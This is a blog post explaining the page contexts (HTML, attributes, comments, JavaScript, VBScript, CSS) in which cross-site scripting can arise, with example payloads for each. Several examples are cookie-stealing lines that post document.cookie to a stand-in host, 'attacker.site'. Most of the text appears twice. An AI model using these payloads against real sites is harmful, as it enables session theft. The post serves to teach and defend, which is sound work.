Yesterday Anant posted a question in the IronWASP Facebook group asking about the different potential contexts related to XSS to better understand how context specific filtering is done. It would be hard to post the response in a comment so I am turning it in to a blog post instead.
If you are the kind of person who likes reading code instead of text then download the source code of IronWASP and check out the CrossSiteScriptingCheck.cs file in the ActivePlugins directory, this post is based on the logic IronWASP uses for its XSS check.
If user controlled input appears in some part of a web page and if this behaviour leads to the security of the site getting compromised in someway then the page is said to be affected by Cross-site Scripting. A web page is nothing but just text, the browser however does not look at it as a single monolithic blob of text, instead different sections of the page could be interpreted differently by the browser as HTML, CSS or JavaScript.
Just like the word 'date' could mean a fruit, a point in time or a romantic meeting based on the context in which it appears, the impact that user input appearing in the page can have would depend on the context in which the browser tries to interpret the user input. I will try to list out the different contexts in which user input can occur in a web page.
1) Simple HTML Context
In the body of an existing HTML tag or at the start and end of the page outside of the <html> tag.
<some_html_tag> user_input </some_html_tag>
In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an executable context.
Eg: <img src=x onerror=alert(1)>
2) HTML Attribute Name Context
Inside the opening HTML tag, after tag name or after an attribute value.
<some_html_tag user_input some_attribute_name="some_attribute_value"/>
In this context you can enter an event handler name and JavaScript code following an = symbol and we can have code execution, it can be considered to be an executable context.
Eg: onclick="alert(1)"
3) HTML Attribute Value Context
Inside the opening HTML tag, after an attribute name separated by an = symbol.
<some_html_tag some_attribute_name="user_input" />
<some_html_tag some_attribute_name='user_input' />
<some_html_tag some_attribute_name=user_input />
There are three variations of this context:
- Double quoted attribute
- Single quoted attribute
- Quote less attribute
Code execution in this context would depend on the type of attribute in which the input appears. There are different types of attributes:
a) Event attributes
These are attributes like onclick, onload etc and the values of these attributes are executed as JavaScript. So anything here is the same as JavaScript context.
b) URL attributes
These are attributes that take URL as a value, for example src attribute of different tags. Entering a JavaScript URL here could lead to JavaScript execution
Eg: javascript:some_javascript()
c) Special URL attributes
These are URL attributes where entering a regular URL can lead to security issues.
Some examples are:
<script src="user_input"
<iframe src="user_input"
<frame src="user_input"
<link href="user_input"
<object data="user_input"
<embed src="user_input"
<form action="user_input"
<button formaction="user_input"
<base href="user_input"
<a href="user_input"
Entering just an absolute http or https URL in these cases could affect the security of the website. In some cases if it is possible to upload user controlled data on to the server then even entering relative URLs here would lead to a problem. Some sites might strip off http:// and https:// from the values entered in these attributes to prevent absolute URLs from being entered but there are many ways in which an absolute URL can be specified.
d) META tag attributes
Meta tags like Charset can be influence how the contents of the page are interpreted by the browser. And then there is the http-equiv attribute, it can emulating the behaviour of HTTP response headers. Influencing the values of headers like Content-Type, Set-Cookie etc will have impact on the security of the page.
e) Normal attributes
If the input appears in a normal attribute value then this context must be escaped to lead to code execution. If the attribute is quoted then the corresponding quote must be used to escape the context. In case of unquoted attributes space or backslash should do the job. Once out of this context a new event handler can be added to lead to code execution.
Eg:
" onclick=alert(1)
' onclick=alert(1)
onclick=alert(1)
4) HTML Comments Context
Inside the comments section of HTML
<!-- some_comment user_input some_comment -->
This is a non-executable context and it is required to come out this context to execute code. Entering a --> would terminate this context and switch any subsequent text to HTML context.
Eg: --><img src=x onerror=alert(1)>
5) JavaScript Context
Inside the JavaScript code portions of the page.
<script>
some_javascript
user_input
some_javascript
</script>
This applies to the section enclosed by the SCRIPT tags, in event handler attributes values and in URLs preceding with javascript: .
Inside JavaScript user input could appear in the following contexts:
a) Code context
b) Single quoted string context
c) Double quoted string context
d) Single line comment context
e) Multi-line comment context
f) Strings being assigned to Executable Sinks
If user input is between SCRIPT tags then, no matter in which of the above contexts it appears you can switch to the HTML context simply by including a closing SCRIPT tag and then insert any HTML.
Eg: </script><img src=x onerror=alert(1)>
If you are not going to switch to HTML context then you have to tailor the input depending on the specific JavaScript context it appears in.
a) Code Context
function dev_func(input) {some_js_code}
dev_func(user_input);
some_variable=123;
This is an executable context, user input directly appears as an expression and you can directly enter JavaScript statements and they will be executed.
Eg: $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
b) Single quoted string context
var some_variable='user_input';
This is a non-executable context and the user input must include a single quote at the beginning to switch out of the string context and enter the code context..
Eg: '; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
c) Double quoted string context
var some_variable="user_input";
This is a non-executable context and the user input must include a double quote at the beginning to switch out of the string context and enter the code context..
Eg: "; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
d) Single-line comment context
some_js_func();//user_input
This is a non-executable context and the user input must include a new line character to terminate the single line comment context and switch to the code context..
Eg: \r\n$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
e) Multi-line comment context
some_js_func();
/*
user_input
*/
some_js_code
This is a non-executable context and the user input must include*/ to terminate the multi-line comment context and switch to the code context..
Eg: */$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
f) Strings being assigned to Executable Sinks
These are single quoted or double quoted string contexts but the twist is that these strings are passed to a function or assigned to a property that would treat this string as executable code.
Some examples are:
eval("user_input");
location = "user_input";
setTimeout(1000, "user_input");
x.innerHTML = "user_input";
For more sinks refer the DOM XSS wiki.
This should be treated similar to Code context.
6) VB Script Context
This is very rare these days but still there might be that odd site that uses VBScript.
<script language="vbscript" type="text/vbscript">
some_vbscript
user_input
some_vbscript
</script>
Like JavaScript, you could switch out to HTML context with the </SCRIPT> tag.
Inside VBScript user input could appear in the following contexts:
a) Code context
b) Single-line comment
c) Double quoted string context
d) Strings being assigned to Executable Sinks
a) Code Context
Similar to its JavaScript equivalent, you can directly enter VBScript
b) Single-line comment
VBScript only has single-line comments and similar to its JavaScript equivalent entering a new line character will terminate the comment context and switch to code context
c) Double quoted string
Similar to its JavaScript equivalent
d) Strings being assigned to Executable Sinks
Similar to its JavaScript equivalent
7) CSS Context
Inside the CSS code portions of the page.
<style>
some_css
user_input
some_css
</style>
This applies to the section enclosed by the STYLE tags and in style attributes values.
Injecting CSS in to a page itself could have some kind of impact of the page. For example, by changing the location, visibility, size and z-index of the elements in a page it might be possible to make the user perform an action different from what they think they are doing.
But the more interesting aspect is in how JavaScript can be executed from within CSS. Though, not possible in modern browsers older browser did support JavaScript execution in two ways.
i. expression property
expression is a Internet Explorer only feature that allows execution of JavaScript embedding inside CSS.
css_selector
{
property_name: expression(some_javascript);
}
ii. JavaScript URLs
Some CSS properties like the background-image property take an URL as their value. In older browsers, entering a JavaScript URL here would result in JavaScript code being executed.
css_selector
{
background-image: javascript:some_javascript()
}
Inside CSS, user input could appear in the following contexts:
a) Statement context
b) Single quoted/Double quoted string context
c) Multi-line comment context
d) Strings being assigned to Executable Sinks
Similar to the SCRIPT tag, if user input is between STYLE tags then you can switch to the HTML context simply by including a closing STYLE tag and then insert any HTML.
Eg: </style><img src=x onerror=alert(1)>
If you are not going to switch to HTML context then you have to tailor the input depending on the specific CSS context it appears in.
a) Statement Context
In this context you can directly start including CSS to modify the page for a social engineering attack or make use of expression property or the JavaScript URL method to inject JavaScript code.
b) Single quoted/Double quoted string context
Including a single or double quote at the start of the input would terminate the string context and switch to statement context.
c) Multi-line comment context
Similar to JavaScript multi-line comment, entering */ would terminate the comment context and switch to statement context.
d) Strings being assigned to Executable Sinks
This is a single-quoted are double-quoted string that is either passed to the expression property or a property that takes an URL like background-image. In both cases the data inside the string context can be interpreted as JavaScript code by the browser.
Though I have mentioned the standard ways to escape out of the different contexts, these are by no means the only ways. There are plenty of browser quirks that allow escaping out of contexts in strange ways. To find out about them I would recommend you get the Web Application Obfuscation book and also refer the HTML5 Security Cheatsheet and the fuzz results of Shazzer.
There is a good chance you might already know about OWASP's XSS Prevention CheatSheet, you might also find this other XSS Protection Cheat Sheet to be useful.
If you are the kind of person who likes reading code instead of text then download the source code of IronWASP and check out the CrossSiteScriptingCheck.cs file in the ActivePlugins directory, this post is based on the logic IronWASP uses for its XSS check.
If user controlled input appears in some part of a web page and if this behaviour leads to the security of the site getting compromised in someway then the page is said to be affected by Cross-site Scripting. A web page is nothing but just text, the browser however does not look at it as a single monolithic blob of text, instead different sections of the page could be interpreted differently by the browser as HTML, CSS or JavaScript.
Just like the word 'date' could mean a fruit, a point in time or a romantic meeting based on the context in which it appears, the impact that user input appearing in the page can have would depend on the context in which the browser tries to interpret the user input. I will try to list out the different contexts in which user input can occur in a web page.
1) Simple HTML Context
In the body of an existing HTML tag or at the start and end of the page outside of the <html> tag.
<some_html_tag> user_input </some_html_tag>
In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an executable context.
Eg: <img src=x onerror=alert(1)>
2) HTML Attribute Name Context
Inside the opening HTML tag, after tag name or after an attribute value.
<some_html_tag user_input some_attribute_name="some_attribute_value"/>
In this context you can enter an event handler name and JavaScript code following an = symbol and we can have code execution, it can be considered to be an executable context.
Eg: onclick="alert(1)"
3) HTML Attribute Value Context
Inside the opening HTML tag, after an attribute name separated by an = symbol.
<some_html_tag some_attribute_name="user_input" />
<some_html_tag some_attribute_name='user_input' />
<some_html_tag some_attribute_name=user_input />
There are three variations of this context:
- Double quoted attribute
- Single quoted attribute
- Quote less attribute
Code execution in this context would depend on the type of attribute in which the input appears. There are different types of attributes:
a) Event attributes
These are attributes like onclick, onload etc and the values of these attributes are executed as JavaScript. So anything here is the same as JavaScript context.
b) URL attributes
These are attributes that take URL as a value, for example src attribute of different tags. Entering a JavaScript URL here could lead to JavaScript execution
Eg: javascript:some_javascript()
c) Special URL attributes
These are URL attributes where entering a regular URL can lead to security issues.
Some examples are:
<script src="user_input"
<iframe src="user_input"
<frame src="user_input"
<link href="user_input"
<object data="user_input"
<embed src="user_input"
<form action="user_input"
<button formaction="user_input"
<base href="user_input"
<a href="user_input"
Entering just an absolute http or https URL in these cases could affect the security of the website. In some cases if it is possible to upload user controlled data on to the server then even entering relative URLs here would lead to a problem. Some sites might strip off http:// and https:// from the values entered in these attributes to prevent absolute URLs from being entered but there are many ways in which an absolute URL can be specified.
d) META tag attributes
Meta tags like Charset can be influence how the contents of the page are interpreted by the browser. And then there is the http-equiv attribute, it can emulating the behaviour of HTTP response headers. Influencing the values of headers like Content-Type, Set-Cookie etc will have impact on the security of the page.
e) Normal attributes
If the input appears in a normal attribute value then this context must be escaped to lead to code execution. If the attribute is quoted then the corresponding quote must be used to escape the context. In case of unquoted attributes space or backslash should do the job. Once out of this context a new event handler can be added to lead to code execution.
Eg:
" onclick=alert(1)
' onclick=alert(1)
onclick=alert(1)
4) HTML Comments Context
Inside the comments section of HTML
<!-- some_comment user_input some_comment -->
This is a non-executable context and it is required to come out this context to execute code. Entering a --> would terminate this context and switch any subsequent text to HTML context.
Eg: --><img src=x onerror=alert(1)>
5) JavaScript Context
Inside the JavaScript code portions of the page.
<script>
some_javascript
user_input
some_javascript
</script>
This applies to the section enclosed by the SCRIPT tags, in event handler attributes values and in URLs preceding with javascript: .
Inside JavaScript user input could appear in the following contexts:
a) Code context
b) Single quoted string context
c) Double quoted string context
d) Single line comment context
e) Multi-line comment context
f) Strings being assigned to Executable Sinks
If user input is between SCRIPT tags then, no matter in which of the above contexts it appears you can switch to the HTML context simply by including a closing SCRIPT tag and then insert any HTML.
Eg: </script><img src=x onerror=alert(1)>
If you are not going to switch to HTML context then you have to tailor the input depending on the specific JavaScript context it appears in.
a) Code Context
function dev_func(input) {some_js_code}
dev_func(user_input);
some_variable=123;
This is an executable context, user input directly appears as an expression and you can directly enter JavaScript statements and they will be executed.
Eg: $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
b) Single quoted string context
var some_variable='user_input';
This is a non-executable context and the user input must include a single quote at the beginning to switch out of the string context and enter the code context..
Eg: '; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
c) Double quoted string context
var some_variable="user_input";
This is a non-executable context and the user input must include a double quote at the beginning to switch out of the string context and enter the code context..
Eg: "; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
d) Single-line comment context
some_js_func();//user_input
This is a non-executable context and the user input must include a new line character to terminate the single line comment context and switch to the code context..
Eg: \r\n$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
e) Multi-line comment context
some_js_func();
/*
user_input
*/
some_js_code
This is a non-executable context and the user input must include*/ to terminate the multi-line comment context and switch to the code context..
Eg: */$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
f) Strings being assigned to Executable Sinks
These are single quoted or double quoted string contexts but the twist is that these strings are passed to a function or assigned to a property that would treat this string as executable code.
Some examples are:
eval("user_input");
location = "user_input";
setTimeout(1000, "user_input");
x.innerHTML = "user_input";
For more sinks refer the DOM XSS wiki.
This should be treated similar to Code context.
6) VB Script Context
This is very rare these days but still there might be that odd site that uses VBScript.
<script language="vbscript" type="text/vbscript">
some_vbscript
user_input
some_vbscript
</script>
Like JavaScript, you could switch out to HTML context with the </SCRIPT> tag.
Inside VBScript user input could appear in the following contexts:
a) Code context
b) Single-line comment
c) Double quoted string context
d) Strings being assigned to Executable Sinks
a) Code Context
Similar to its JavaScript equivalent, you can directly enter VBScript
b) Single-line comment
VBScript only has single-line comments and similar to its JavaScript equivalent entering a new line character will terminate the comment context and switch to code context
c) Double quoted string
Similar to its JavaScript equivalent
d) Strings being assigned to Executable Sinks
Similar to its JavaScript equivalent
7) CSS Context
Inside the CSS code portions of the page.
<style>
some_css
user_input
some_css
</style>
This applies to the section enclosed by the STYLE tags and in style attributes values.
Injecting CSS in to a page itself could have some kind of impact of the page. For example, by changing the location, visibility, size and z-index of the elements in a page it might be possible to make the user perform an action different from what they think they are doing.
But the more interesting aspect is in how JavaScript can be executed from within CSS. Though, not possible in modern browsers older browser did support JavaScript execution in two ways.
i. expression property
expression is a Internet Explorer only feature that allows execution of JavaScript embedding inside CSS.
css_selector
{
property_name: expression(some_javascript);
}
ii. JavaScript URLs
Some CSS properties like the background-image property take an URL as their value. In older browsers, entering a JavaScript URL here would result in JavaScript code being executed.
css_selector
{
background-image: javascript:some_javascript()
}
Inside CSS, user input could appear in the following contexts:
a) Statement context
b) Single quoted/Double quoted string context
c) Multi-line comment context
d) Strings being assigned to Executable Sinks
Similar to the SCRIPT tag, if user input is between STYLE tags then you can switch to the HTML context simply by including a closing STYLE tag and then insert any HTML.
Eg: </style><img src=x onerror=alert(1)>
If you are not going to switch to HTML context then you have to tailor the input depending on the specific CSS context it appears in.
a) Statement Context
In this context you can directly start including CSS to modify the page for a social engineering attack or make use of expression property or the JavaScript URL method to inject JavaScript code.
b) Single quoted/Double quoted string context
Including a single or double quote at the start of the input would terminate the string context and switch to statement context.
c) Multi-line comment context
Similar to JavaScript multi-line comment, entering */ would terminate the comment context and switch to statement context.
d) Strings being assigned to Executable Sinks
This is a single-quoted are double-quoted string that is either passed to the expression property or a property that takes an URL like background-image. In both cases the data inside the string context can be interpreted as JavaScript code by the browser.
Though I have mentioned the standard ways to escape out of the different contexts, these are by no means the only ways. There are plenty of browser quirks that allow escaping out of contexts in strange ways. To find out about them I would recommend you get the Web Application Obfuscation book and also refer the HTML5 Security Cheatsheet and the fuzz results of Shazzer.
There is a good chance you might already know about OWASP's XSS Prevention CheatSheet, you might also find this other XSS Protection Cheat Sheet to be useful.